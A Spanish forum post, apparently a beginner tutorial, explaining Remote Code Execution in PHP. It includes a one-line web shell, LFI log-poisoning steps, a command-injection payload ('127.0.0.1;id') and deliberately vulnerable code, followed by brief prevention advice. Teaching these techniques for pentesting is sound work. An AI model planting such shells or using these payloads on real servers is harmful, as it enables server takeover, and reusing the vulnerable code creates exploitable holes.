Remote Code Execution (RCE) - Explicación rápida y práctica

0 Usuarios y 1 Visitante están viendo este tema.

Olt

  • rookie
  • *
    • Mensajes: 5
    • Ver Perfil
Buenas gente,
En este post voy a explicar qué es una vulnerabilidad RCE (Remote Code Execution), una de las más críticas en seguridad web ya que básicamente permite ejecutar comandos en el servidor.

¿Qué es RCE?
RCE ocurre cuando un atacante logra ejecutar código en el servidor de forma remota. Esto significa que puede interactuar con el sistema como si tuviera acceso directo.

Ejemplo simple
Un caso típico en PHP sería:
Código: (php) [Seleccionar]
<?php
system($_GET['cmd']);
?>
Si accedes a:
Código: [Seleccionar]
site.com/index.php?cmd=id
El servidor ejecuta el comando y devuelve el resultado.

¿Cómo se llega a un RCE?
Normalmente RCE no aparece solo, suele ser el resultado de explotar otras vulnerabilidades:
  • File Inclusion (LFI/RFI)
  • File Upload mal protegido
  • Command Injection
  • Deserialización insegura

Ejemplo desde LFI
Si puedes incluir logs o archivos controlados:
Código: [Seleccionar]
<?php system($_GET['cmd']); ?>
Luego:
Código: [Seleccionar]
index.php?page=/var/log/apache2/access.log&cmd=whoami

Ejemplo de Command Injection
Código vulnerable:
Código: (php) [Seleccionar]
<?php
system("ping " . $_GET['ip']);
?>
Payload:
Código: [Seleccionar]
?ip=127.0.0.1;id

¿Qué puede hacer un atacante?
  • Ejecutar comandos del sistema
  • Leer y modificar archivos
  • Subir shells
  • Tomar control del servidor

Web shell básica
Código: (php) [Seleccionar]
<?php system($_GET['cmd']); ?>
Uso:
Código: [Seleccionar]
shell.php?cmd=ls

¿Por qué es tan crítica?
Porque ya no estás solo leyendo información, estás ejecutando código directamente en el servidor, lo que puede terminar en compromiso total.

Cómo prevenirlo
  • No ejecutar comandos con input del usuario
  • Validar y sanitizar entradas
  • Usar funciones seguras en lugar de system/exec
  • Configurar permisos correctamente

Conclusión
RCE es una de las vulnerabilidades más peligrosas en web. Muchas veces es el objetivo final después de explotar otras fallas como LFI o upload vulnerabilities. Entender cómo se consigue es clave para pentesting y seguridad en PHP.

Si quieren puedo hacer otro post sobre:
- reverse shells
- bypass de filtros para RCE
- escalación de privilegios

Saludos 👾